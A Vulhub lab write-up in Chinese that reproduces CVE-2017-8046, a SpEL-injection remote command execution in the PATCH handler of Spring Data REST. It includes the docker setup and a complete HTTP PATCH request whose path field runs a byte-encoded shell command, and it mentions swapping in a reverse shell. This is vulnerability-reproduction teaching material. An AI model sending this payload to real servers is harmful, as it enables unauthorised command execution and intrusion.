Spring Data Rest 遠程命令執行漏洞(CVE-2017-8046)
Path spring/CVE-2017-8046
Spring Data REST是一個構建在Spring Data之上,為了幫助開發者更加容易地開發REST風格的Web服務。在REST API的Patch方法中(實現RFC6902),path的值被傳入setValue,導致執行了SpEL表達式,觸發遠程命令執行漏洞。
參考鏈接:
- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服務器PATCH請求遠程代碼執行漏洞CVE-2017-8046補充分析/
- https://tech.meituan.com/Spring_Data_REST_遠程代碼執行漏洞%28CVE-2017-8046%29_分析與復現.html
環境搭建
執行如下命令啟動漏洞環境:
docker-compose up -d
等待環境啟動完成,然后訪問http://your-ip:8080/即可看到json格式的返回值,說明這是一個Restful風格的API服務器。
漏洞復現
訪問http://your-ip:8080/customers/1,看到一個資源。我們使用PATCH請求來修改之:
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
path的值是SpEL表達式,發送上述數據包,將執行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。然后進入容器docker-compose exec spring bash看看:

可見,success成功創建。
將bytecode改成反彈shell的命令(注意:Java反彈shell的限制與繞過方式),成功彈回:

Vulhub 文檔